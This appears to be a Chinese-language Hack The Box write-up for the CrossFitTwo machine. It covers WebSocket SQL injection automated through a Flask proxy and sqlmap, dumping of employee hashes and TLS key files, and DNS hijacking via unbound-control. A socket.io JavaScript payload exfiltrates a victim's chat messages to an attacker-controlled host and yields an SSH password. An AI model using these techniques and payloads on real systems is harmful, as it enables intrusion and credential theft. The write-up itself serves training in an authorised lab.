HTB CrossFitTwo Machine [INSANE]

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ rustscan --accessible -a 10.10.10.232 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4 (protocol 2.0)
80/tcp open http syn-ack (PHP 7.4.12)
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 200 OK
| Connection: close
| Connection: close
| Content-type: text/html; charset=UTF-8
| Date: Sun, 27 Jun 2021 17:23:02 GMT
| Server: OpenBSD httpd
| X-Powered-By: PHP/7.4.12
| <!DOCTYPE html>
| <html lang="zxx">
| <head>
| <meta charset="UTF-8">
| <meta name="description" content="Yoga StudioCrossFit">
| <meta name="keywords" content="Yoga, unica, creative, html">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <meta http-equiv="X-UA-Compatible" content="ie=edge">
| <title>CrossFit</title>
| <!-- Google Font -->
| <link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700&display=swap" rel="stylesheet">
| <link href="https://fonts.googleapis.com/css?family=Oswald:400,500,600,700&display=swap" rel="stylesheet">
| <!-- Css Styles -->
| <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css">
| <link rel="styleshe
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: OpenBSD httpd
|_http-title: CrossFit
8953/tcp open ssl/ub-dns-control? syn-ack

User David

访问80端口的Web服务,枚举目录和文件得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ rustbuster dir -u http://10.10.10.232/ -f -e php,json,txt,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 403,404
GET 200 OK http://10.10.10.232/index.php
GET 301 Moved Permanently http://10.10.10.232/images
=> http://10.10.10.232/images/
GET 200 OK http://10.10.10.232/
GET 200 OK http://10.10.10.232/index.php/
GET 200 OK http://10.10.10.232/contact.php
GET 200 OK http://10.10.10.232/contact.php/
GET 200 OK http://10.10.10.232/blog.php
GET 200 OK http://10.10.10.232/blog.php/
GET 301 Moved Permanently http://10.10.10.232/img
=> http://10.10.10.232/img/
GET 301 Moved Permanently http://10.10.10.232/css
=> http://10.10.10.232/css/
GET 301 Moved Permanently http://10.10.10.232/js
=> http://10.10.10.232/js/
GET 200 OK http://10.10.10.232/about-us.php
GET 200 OK http://10.10.10.232/about-us.php/
GET 200 OK http://10.10.10.232/classes.php/
GET 200 OK http://10.10.10.232/classes.php
GET 301 Moved Permanently http://10.10.10.232/vendor
=> http://10.10.10.232/vendor/
GET 200 OK http://10.10.10.232/elements.php/
GET 200 OK http://10.10.10.232/elements.php
GET 200 OK http://10.10.10.232/readme.txt
ERROR rustbuster > http://crossfit.htb/ws.json/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.xml - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.php/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.php - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.json - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.xml/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.txt - "connection closed before message completed"
GET 301 Moved Permanently http://10.10.10.232/fonts
=> http://10.10.10.232/fonts/

ws开头的路径全部提示"connection closed before message completed",访问http://10.10.10.232/ws/服务器长时间未响应,可能使用WebSocket协议

在浏览网页时发现邮箱contact@crossfit.htb,并且网站首页的有到employees.crossfit.htb的链接,我们将这两个域名添加到/etc/hosts

1
2
10.10.10.232 crossfit.htb
10.10.10.232 employees.crossfit.htb

访问employees.crossfit.htb,是一个登录页面

/images/HTB-CrossFitTwo-Machine/Untitled.png

回到前面的WebSocket,用wscat连接到ws://crossfit.htb/ws/

1
2
3
$ wscat -c 'ws://crossfit.htb/ws/'
Connected (press CTRL+C to quit)
< {"status":"200","message":"Hello! This is Arnold, your assistant. Type 'help' to see available commands.","token":"29d3ac9e51c80fb94421abbb75d886bbef6af2b07cb02099da3c693fbc93b4a2"}

发送{"token":"YOUR_TOKEN","message":"help"}得到可用命令列表:

1
2
3
4
5
{
"status":"200",
"message":"Available commands:<br>- coaches<br>- classes<br>- memberships",
"token":"c33d26e0d0999f9e03cdd8d3731256f32ca5aac524c801f236a79358d592d194"
}

在命令memberships的输出中发现调用了check_availabilityJS函数

1
2
3
4
5
{
"status":"200",
"message":"Check the availability of our membership plans with a simple click!<br><br><b>1-month ($99.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br><b>3-months ($129.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br><b>6-months ($189.99 <del>$209.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br><b>1-year ($859.99 <del>$899.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>",
"token":"d33f75961f2ae38c710afeacc71cba03c823be2a8e7342155d4cacd8b866a9df"
}
1
2
3
4
5
6
7
function check_availability(e) {
var s = new Object;
s.message = "available",
s.params = String(e),
s.token = token,
ws.send(JSON.stringify(s))
}

这个函数使用WebSocket,填写与该函数相同的参数发送给ws://crossfit.htb/ws/得到

1
2
> {"token":"98fc838a4e3bd25c4186ef7d6ef781c3f858101bc18ca0a25f25d5c10c341f1a","message":"available","params":"1"}
< {"status":"200","message":"Good news! This membership plan is available.","token":"8913d418f27d98ef1861444c23167b06fdea541c549296709bb7fc06603c9853","debug":"[id: 1, name: 1-month]"}

param参数中输入SQLI Polyglot SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/,发现存在SQL注入

1
2
3
> {"token":"45ffe152a2ac72c843ad18c69a506d3f3dbab7a6b7a0f849278dd74f605aca82","message":"available","params":"SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/"}
## 5秒后收到:
< {"status":"200","message":"I'm sorry, this membership plan is currently unavailable.","token":"8917b81217ce4df30cfcf2c9cb724f005c291aa311c5709aebeffd5b5ee2f348","debug":"[id: SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/]"}

方便起见,编写了一个python脚本自动填写token字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from websocket import create_connection
import json
import sys

uri = 'ws://crossfit.htb/ws/'

def send(payload):
ws = create_connection(uri)
token = json.loads(ws.recv())['token']
d = json.dumps({'token':token, 'message':'available', "params":payload})
ws.send(d)
result = json.loads(ws.recv())
return result

payload = sys.argv[1]
result = send(payload)
print(result)

输入几个Payload验证,存在基于Boolean的SQL注入

1
2
3
4
$ python3 sqli.py "111 or 1=1-- '"
{'status': '200', 'message': 'Good news! This membership plan is available.', 'token': 'a33574d330db6d82eb07946c1815f4334a7ed39c344c08187682c85d2e519844', 'debug': '[id: 1, name: 1-month]'}
$ python3 sqli.py "111 or 1=0-- '"
{'status': '200', 'message': "I'm sorry, this membership plan is currently unavailable.", 'token': '503f017ef288b3b5636c4598b882a235c6d966e2e3e9a0c31d7cc812c491c7c0', 'debug': "[id: 111 or 1=0-- ']"}

直接上sqlmap。由于token会变动,这里通过一个代理将sqlmap的Payload转发到WebSocket,由代理在每次连接后读取并填写token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from websocket import create_connection
from flask import Flask, escape, request
import json

app = Flask(__name__)
uri = 'ws://crossfit.htb/ws/'

def send(payload):
# 本来应该重用一个WebSocket连接的,但一直断开连接,干脆每次开个新连接
ws = create_connection(uri)
token = json.loads(ws.recv())['token']
d = json.dumps({'token':token, 'message':'available', "params":payload})
ws.send(d)
result = json.loads(ws.recv())
return result

@app.route('/')
def proxy():
payload = request.args.get("p")
result = send(payload)
return result

运行代理服务器,使用sqlmapdump数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Window 1
$ flask run &
[1] 39842
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
# Window 2
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 --dbs
# .................................................................................
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: p (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=1 AND 4695=4695
---
# .................................................................................
available databases [3]:
[*] crossfit
[*] employees
[*] information_schema
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 -D employees --tables
# .................................................................................
Database: employees
[2 tables]
+----------------+
| employees |
| password_reset |
+----------------+
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 -D employees -T password_reset --dump
# .................................................................................
Database: employees
Table: password_reset
[0 entries]
+-------+-------+---------+
| email | token | expires |
+-------+-------+---------+
+-------+-------+---------+
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 -D employees -T employees --dump
# .................................................................................
Database: employees
Table: employees
[4 entries]
+----+-----------------------------+------------------------------------------------------------------+---------------+
| id | email | password | username |
+----+-----------------------------+------------------------------------------------------------------+---------------+
| 1 | david.palmer@crossfit.htb | fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8 | administrator |
| 2 | will.smith@crossfit.htb | 06b4daca29092671e44ef8fad8ee38783b4294d9305853027d1b48029eac0683 | wsmith |
| 3 | maria.williams@crossfit.htb | fe46198cb29909e5dd9f61af986ca8d6b4b875337261bdaa5204f29582462a9c | mwilliams |
| 4 | jack.parker@crossfit.htb | 4de9923aba6554d148dbcd3369ff7c6e71841286e5106a69e250f779770b3648 | jparker |
+----+-----------------------------+------------------------------------------------------------------+---------------+
# .................................................................................

识别password的Hash算法类型似乎是SHA256

1
2
3
4
5
6
7
8
9
10
11
$ haiti 'fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8'
Snefru-256 [JtR: snefru-256]
SHA-256 [HC: 1400] [JtR: raw-sha256]
RIPEMD-256
Haval-256 [JtR: haval-256-3]
GOST R 34.11-94 [HC: 6900] [JtR: gost]
GOST CryptoPro S-Box
SHA3-256 [HC: 17400]
Keccak-256 [HC: 17800] [JtR: raw-keccak-256]
Skein-256 [JtR: skein-256]
Skein-512(256)

crackstation.net无法破解

/images/HTB-CrossFitTwo-Machine/Untitled%201.png

那么再来看看crossfit库里面有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 10 -D crossfit --tables
# .................................................................................
Database: crossfit
[1 table]
+------------------+
| membership_plans |
+------------------+
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 10 -D crossfit -T membership_plans --dump
# .................................................................................
Database: crossfit
Table: membership_plans
[4 entries]
+----+----------+-----------+------------+---------------+
| id | name | available | base_price | current_price |
+----+----------+-----------+------------+---------------+
| 1 | 1-month | 1 | 99.99 | 99.99 |
| 2 | 3-months | 1 | 129.99 | 129.99 |
| 3 | 6-months | 0 | 209.99 | 189.99 |
| 4 | 1-year | 1 | 899.99 | 859.99 |
+----+----------+-----------+------------+---------------+
# .................................................................................

crossfit里没有什么有用的信息。我们还可以用sqlmap—read-file参数读取目标主机的文件

通过—read-file读取/etc/httpd.conf

1
2
sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/etc/httpd.conf --threads 10

以下为httpd.conf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $

types {
include "/usr/share/misc/mime.types"
}

server "0.0.0.0" {
no log
listen on lo0 port 8000

root "/htdocs"
directory index index.php

location "*.php*" {
fastcgi socket "/run/php-fpm.sock"
}
}

server "employees" {
no log
listen on lo0 port 8001

root "/htdocs_employees"
directory index index.php

location "*.php*" {
fastcgi socket "/run/php-fpm.sock"
}
}

server "chat" {
no log
listen on lo0 port 8002

root "/htdocs_chat"
directory index index.html

location match "^/home$" {
request rewrite "/index.html"
}
location match "^/login$" {
request rewrite "/index.html"
}
location match "^/chat$" {
request rewrite "/index.html"
}
location match "^/favicon.ico$" {
request rewrite "/images/cross.png"
}
}

其中,HTTP服务侦听在lo08000-8002端口,没有列出在80端口上侦听的服务,可能使用某种反向代理,Google关键字openbsd reverse proxy,许多结果指向relayd

在OpenBSD的relayd manual查找relayd,手册对relayd的描述为

relayd is a daemon to relay and dynamically redirect incoming connections to a target host. Its main purposes are to run as a load-balancer, application layer gateway, or transparent proxy.

relayd的配置文件为/etc/relayd.conf,用sqlmap读取它

/images/HTB-CrossFitTwo-Machine/Untitled%202.png

1
2
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/etc/relayd.conf --threads 10

以下为relayd.conf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
table<1>{127.0.0.1}
table<2>{127.0.0.1}
table<3>{127.0.0.1}
table<4>{127.0.0.1}
http protocol web{
pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
match request path "/*" forward to <1>
match request path "/ws*" forward to <4>
http websockets
}

table<5>{127.0.0.1}
table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4}
http protocol portal{
pass request quick path "/" forward to <5>
pass request quick path "/index.html" forward to <5>
pass request quick path "/home" forward to <5>
pass request quick path "/login" forward to <5>
pass request quick path "/chat" forward to <5>
pass request quick path "/js/*" forward to <5>
pass request quick path "/css/*" forward to <5>
pass request quick path "/fonts/*" forward to <5>
pass request quick path "/images/*" forward to <5>
pass request quick path "/favicon.ico" forward to <5>
pass forward to <6>
http websockets
}

relay web{
listen on "0.0.0.0" port 80
protocol web
forward to <1> port 8000
forward to <2> port 8001
forward to <3> port 9999
forward to <4> port 4419
}

relay portal{
listen on 127.0.0.1 port 9999
protocol portal
forward to <5> port 8002
forward to <6> port 5000 mode source-hash
}

在该文件中发现域名crossfit-club.htb

添加crossfit-club.htb/etc/hosts并访问

/images/HTB-CrossFitTwo-Machine/Untitled%203.png

网站的注册功能被禁用,登录处无注入漏洞

在目标主机8953端口还运行着unbound-control守护进程,unbound docsunbound的描述如下

Unbound is a validating, recursive, caching DNS resolver. It is designed to be fast and lean and incorporates modern features based on open standards.

本地执行sudo apt install unbound安装unbound组件

使用unbound-control连接服务端需要服务器运行unbound-control-setup所生成的TLS密钥文件,而这些密钥文件默认存储在/etc/unbound目录下

1
2
3
4
5
6
$ unbound-control-setup -h
usage: /usr/sbin/unbound-control-setup OPTIONS
OPTIONS
-d <dir> used directory to store keys and certificates (default: /etc/unbound)
-h show help notice
-r recreate certificates

本地运行unbound-control-setup,查看/etc/unbound目录,生成的文件有unbound_control.keyunbound_control.pemunbound_server.keyunbound_server.pem

1
2
3
4
5
6
7
8
9
10
$ ls -la /etc/unbound
total 40
drwxr-xr-x 3 root root 4096 Jun 28 06:39 .
drwxr-xr-x 167 root root 12288 Jun 28 02:16 ..
drwxr-xr-x 2 root root 4096 Jun 28 06:38 unbound.conf.d
-rw-r--r-- 1 root root 543 Jun 28 06:39 unbound.conf
-rw------- 1 root root 2459 Jun 27 14:15 unbound_control.key
-rw-r----- 1 root root 1411 Jun 27 14:15 unbound_control.pem
-rw------- 1 root root 2459 Jun 27 14:15 unbound_server.key
-rw-r----- 1 root root 1549 Jun 27 14:15 unbound_server.pem

但是并没有在目标机器的/etc/unbound发现这些文件

结合目标操作系统是OpenBSD,Google到OpenBSD的unbound manual,其中提到unbound在OpenBSD系统下的工作目录是在/var/unbound/etc

/images/HTB-CrossFitTwo-Machine/Untitled%204.png

https://man.openbsd.org/unbound.conf

sqlmap读取/var/unbound/etc/unbound.conf

1
2
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/var/unbound/etc/unbound.conf --threads 10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
server:
interface: 127.0.0.1
interface: ::1
access-control: 0.0.0.0/0 refuse
access-control: 127.0.0.0/8 allow
access-control: ::0/0 refuse
access-control: ::1 allow
hide-identity: yes
hide-version: yes
msg-cache-size: 0
rrset-cache-size: 0
cache-max-ttl: 0
cache-max-negative-ttl: 0
auto-trust-anchor-file: "/var/unbound/db/root.key"
val-log-level: 2
aggressive-nsec: yes
include: "/var/unbound/etc/conf.d/local_zones.conf"

remote-control:
control-enable: yes
control-interface: 0.0.0.0
control-use-cert: yes
server-key-file: "/var/unbound/etc/tls/unbound_server.key"
server-cert-file: "/var/unbound/etc/tls/unbound_server.pem"
control-key-file: "/var/unbound/etc/tls/unbound_control.key"
control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"

继续读取tls目录下的unbound_control.pemunbound_server.key

1
2
3
4
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/var/unbound/etc/tls/unbound_control.pem --threads 10
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/var/unbound/etc/tls/unbound_control.key --threads 10

再通过gnutls-cli获取unbound-control服务的unbound_server.pem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ gnutls-cli -V -p 8953 10.10.10.232
# .................................................................................
-----BEGIN CERTIFICATE-----
MIIDoDCCAggCCQDx3ZJ+FQdNnjANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAd1
bmJvdW5kMB4XDTIxMDExMTA3MDExMFoXDTQwMDkyODA3MDExMFowEjEQMA4GA1UE
AwwHdW5ib3VuZDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALaSthKv
1/LXjUfayIL0K3ThP3vs1+PpaPKPiRkj7VYKL3Q3lvHbCEzmjwFxzrYfykbJnrdm
7pgPVGlWbra2ifSfNokVcC/sblub7GXvUKUWbK5Javr7vI8Eljvn9q28ze9FZz6W
1ZojGXSU9M1KU5kslNTnF4sTLcvU9UJGW37Kv/hGqlN8MYFUCM5jOke94rewUuoT
9xw4cveDnMcHwjBlbSQL6R2e7GQWlU/vb1ntDq1nFE3Bu7tK+JD3Ni9Rt7jTfr/u
ezZPuEg/6z1iKtnmXNOCwZGHS5gOdGRQaf4USnjYy7DaSVwXsOQUpZ6tWptolyp9
BrZM3Q1UHG0OZYCNo04i8kL50a9pVggs7Q0TvSqO2KgYMRj78vNzotPE+8FQpj9+
7glV12BQSuh53lNS32WpwTS1yYfvw2sXt/m+BW5Ts6musGj0AANWd6BZAm735qXQ
nt719NzFQsYv0fcFAmbmgXV1X2ZhwZvxJWGDpsyLlNQKjhTWXb4J32hIzwIDAQAB
MA0GCSqGSIb3DQEBCwUAA4IBgQCmHuw7ol3PfJxidmjDkqJtA+Q4OOqgfHHAoq33
pQe2CbQEk50AZMdezxXN0I7ToOkEkXES6BiKDn7FAlOmElCAvYZhVkq7OwgHSECr
tvwiap5exR9W1cFxojz7ufWWpk+2F3RRJhudmaCMlf5KIFMK4BqNt1aHjsM7rshP
jJ3AsELCSgpOVCuc+Jnq+4IzbNNq55oMVq6k5ETsi4TgFew3gJfMEibF5zVbsXMK
A+cpyhRN+XXD0maS+C2BC2a5kGb8jp5otPXDRsJgJWrPb5irGWY9in7w8ZdOMW6v
FcSaLnz9bQ7q93+dbhPFRbjz+QWahvQyw91muwPmkLCB7OLWedha5tfuW1e4WNjt
PCAMbsSgTHsPgrrm0IoK8AfxJht9wE1Dm4XfmXSGgHU6Q7usscoV0dx47m+vmFYZ
Z1faM16lBqfIDDOHm23bIPkO08BH4VaO7HYXlXQY1RGRYH9NJlkR6+lgduK9DkNM
SeJIPkiQql3fH2trxxZ5i4P23Bk=
-----END CERTIFICATE-----
# .................................................................................

将读取的unbound_control.pemunbound_server.keyunbound_server.pem放到本地/etc/unbound目录,这样就可以通过本地的unbound-control客户端远程访问目标主机的unbound-control服务了

1
2
3
4
5
6
7
8
$ sudo unbound-control -s 10.10.10.232@8953 status
version: 1.11.0
verbosity: 1
threads: 1
modules: 2 [ validator iterator ]
uptime: 365 seconds
options: control(ssl)
unbound (pid 7261) is running...

unbound-control支持许多命令,但这里输入大部分命令都提示"error unknown command"

1
2
$ sudo unbound-control -s 10.10.10.232@8953 list_local_zones
error unknown command 'list_local_zones'

除了查询状态和flash类型的命令外,forward_add命令也可以使用

forward_add可以添加一个Forward Zone,令指定Zone的DNS查询转发到特定DNS服务器,而我们可以任意添加Forward Zone,也就是说只要将给定域名的DNS查询转发到我们的DNS服务器,我们的DNS服务器可以将域名解析为任意IP,实现DNS劫持

尝试劫持employees.crossfit.htb并不奏效,需要配合relayd.conf中的如下转发匹配规则

1
2
pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>

任何Host匹配*employees.crossfit.htb都会被转发到<2>(table<2>{127.0.0.1}),可以在employees.crossfit.htb前面添加任意字符串进行DNS劫持,这里使用iemployees.crossfit.htb

我们在iemployees.crossfit.htbpassword-reset.php页面输入并提交email后,服务器将密码重置的URL(http://{HOST}/password-reset.php?token={TOKEN})发送到该"email"

/password-reset.php的POST请求头中的Host会作为密码重置的URL的HOST部分。利用这一点我们可以令密码重置的URL指向iemployees.crossfit.htb,并劫持iemployees.crossfit.htb到我们的HTTP服务器,当“受害者”点击该链接即可获得用于重置密码的Token

通过上述方法得到了Token,但是用拿到Token访问password-reset.php提示密码重置被禁用(获取Token行不通,因此上述利用思路的具体操作就不展开了)

/images/HTB-CrossFitTwo-Machine/Untitled%205.png

到这里就没有思路了。之后从@xFrankyCrossFitTwo Writeup得知,这里要获取的不是Token,而是“受害者”在crossfit-club.htb上收到的聊天消息,这些消息通过JS的socket.io库发送和接收,而“受害者”的SSH凭据就在这些消息中

由于WebSocket(socket.io基于WebSocket协议)不受SOP的限制,所以当“受害者”访问iemployees.crossfit.htb时,我们可以在返回的页面的JS中使用socket.io来获取“受害者”在crossfit-club.htb收到的聊天消息

下面是利用过程

首先,用flask编写一个简单的HTTP服务器

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__, static_url_path='/')

@app.route('/password-reset.php')
def exploit():
return app.send_static_file('index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head></head>
<body>
<script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
<script>
var socket = io('http://crossfit-club.htb/');
socket.emit('user_join', { username : 'administrator' });
socket.on('private_recv', data => {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://iemployees.crossfit.htb/?d=' + btoa(JSON.stringify(data)), true);
xhr.send();
});
</script>
</body>
</html>

socket.io用到的'user_join''private_recv'是从http://crossfit-club.htb/js/app~748942c6.ead68abe.js中得到的,'administrator'可以是任意字符串

1
2
3
4
5
6
$ tree
.
├── app.py
└── static
└── index.html
$ sudo python3 app.py

这里使用dnsmasq作为DNS服务器,修改/etc/dnsmasq.conf

1
2
3
4
5
6
7
8
9
domain-needed
bogus-priv
expand-hosts

listen-address=YOUR_IP
bind-interfaces

address=/iemployees.crossfit.htb/127.0.0.1
address=/employees.crossfit.htb/127.0.0.1

运行dnsmasq

1
sudo dnsmasq --no-daemon --log-queries --no-hosts --no-resolv

/etc/hosts添加iemployees.crossfit.htb,再执行以下命令添加一个Forward Zone,将iemployees.crossfit.htb的查询转发到我们的DNS服务器

1
$ sudo unbound-control -s 10.10.10.232@8953 forward_add +i iemployees.crossfit.htb. YOUR_IP

在浏览器访问http://iemployees.crossfit.htb/password-reset.php,填写前面通过SQL注入获取的邮箱,这里使用usernameadministrator的邮箱david.palmer@crossfit.htb

dnsmasq收到以下DNS查询请求

1
2
3
4
dnsmasq: query[A] iemployees.crossfit.htb from 10.10.10.232
dnsmasq: config iemployees.crossfit.htb is YOUR_IP
dnsmasq: query[A] iemployees.crossfit.htb from 10.10.10.232
dnsmasq: config iemployees.crossfit.htb is YOUR_IP

修改/etc/dnsmasq.conf中的address=/iemployees.crossfit.htb/127.0.0.1address=/iemployees.crossfit.htb/YOUR_IP,重新运行dnsmasq

如果不先将iemployees.crossfit.htb解析到127.0.0.1password-reset.php会报错并终止

/images/HTB-CrossFitTwo-Machine/Untitled%206.png

过一会HTTP服务器输出

1
2
3
4
5
6
10.10.10.232 - - [29/Jun/2021 01:41:52] "GET /password-reset.php?token=3a4f02a649316783b35cd7a89676f8e4b609864cf2689d5c21735eaabbed609c4d3aebc81ae16295d88b0641900b47d5af5a209986740c5344920b957656ccc6 HTTP/1.1" 200 -
10.10.10.232 - - [29/Jun/2021 01:41:52] "GET /favicon.ico HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:42:41] "GET /?d=eyJzZW5kZXJfaWQiOjE0LCJjb250ZW50IjoiUHVzaHVwcyBnbyBicnJycnJycnIiLCJyb29tSWQiOjE0LCJfaWQiOjI0M30= HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:42:51] "GET /?d=eyJzZW5kZXJfaWQiOjIsImNvbnRlbnQiOiJIZWxsbyBEYXZpZCwgSSd2ZSBhZGRlZCBhIHVzZXIgYWNjb3VudCBmb3IgeW91IHdpdGggdGhlIHBhc3N3b3JkIGBOV0JGY1NlM3dzNFZEaFRCYC4iLCJyb29tSWQiOjIsIl9pZCI6MjQ0fQ== HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:43:32] "GET /?d=eyJzZW5kZXJfaWQiOjEzLCJjb250ZW50IjoiRG8geW91IGxpa2UgU2hha2VzcGVhcmU/Iiwicm9vbUlkIjoxMywiX2lkIjoyNDZ9 HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:44:02] "GET /?d=eyJzZW5kZXJfaWQiOjIsImNvbnRlbnQiOiJIZWxsbyBEYXZpZCwgSSd2ZSBhZGRlZCBhIHVzZXIgYWNjb3VudCBmb3IgeW91IHdpdGggdGhlIHBhc3N3b3JkIGBOV0JGY1NlM3dzNFZEaFRCYC4iLCJyb29tSWQiOjIsIl9pZCI6MjQ3fQ== HTTP/1.1" 404 -

base64解码分别得到

1
2
3
4
{"sender_id":14,"content":"Pushups go brrrrrrrr","roomId":14,"_id":243}
{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":244}
{"sender_id":13,"content":"Do you like Shakespeare?","roomId":13,"_id":246}
{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":247}

“Hello David, I’ve added a user account for you with the password NWBFcSe3ws4VDhTB.”

david的密码为NWBFcSe3ws4VDhTB,让我们用SSH访问目标主机

/images/HTB-CrossFitTwo-Machine/Untitled%207.png

User John

linpeas放到目标主机并执行,发现当前用户所属组sysadmins可读写/opt/sysadmin目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

crossfit2$ ./linpeas.sh
# .................................................................................
[+] Users with console
build:*:21:21:base and xenocara build:/var/empty:/bin/ksh
david:*:1004:1004:,,,:/home/david:/bin/csh
john:*:1005:1005::/home/john:/bin/csh
lucille:*:1002:1002:,,,:/home/lucille:/bin/csh
node:*:1003:1003::/home/node:/bin/ksh
root:*:0:0:Charlie &:/root:/bin/ksh
# .................................................................................
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group david:

Group sysadmins:
/opt/sysadmin
# .................................................................................

/opt/sysadmin/server/statbot/statbot.js文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const WebSocket = require('ws');
const fs = require('fs');
const logger = require('log-to-file');
const ws = new WebSocket("ws://gym.crossfit.htb/ws/");
function log(status, connect) {
var message;
if(status) {
message = `Bot is alive`;
}
else {
if(connect) {
message = `Bot is down (failed to connect)`;
}
else {
message = `Bot is down (failed to receive)`;
}
}
logger(message, '/tmp/chatbot.log');
}
ws.on('error', function err() {
ws.close();
log(false, true);
})
ws.on('message', function message(data) {
data = JSON.parse(data);
try {
if(data.status === "200") {
ws.close()
log(true, false);
}
}
catch(err) {
ws.close()
log(false, false);
}
});

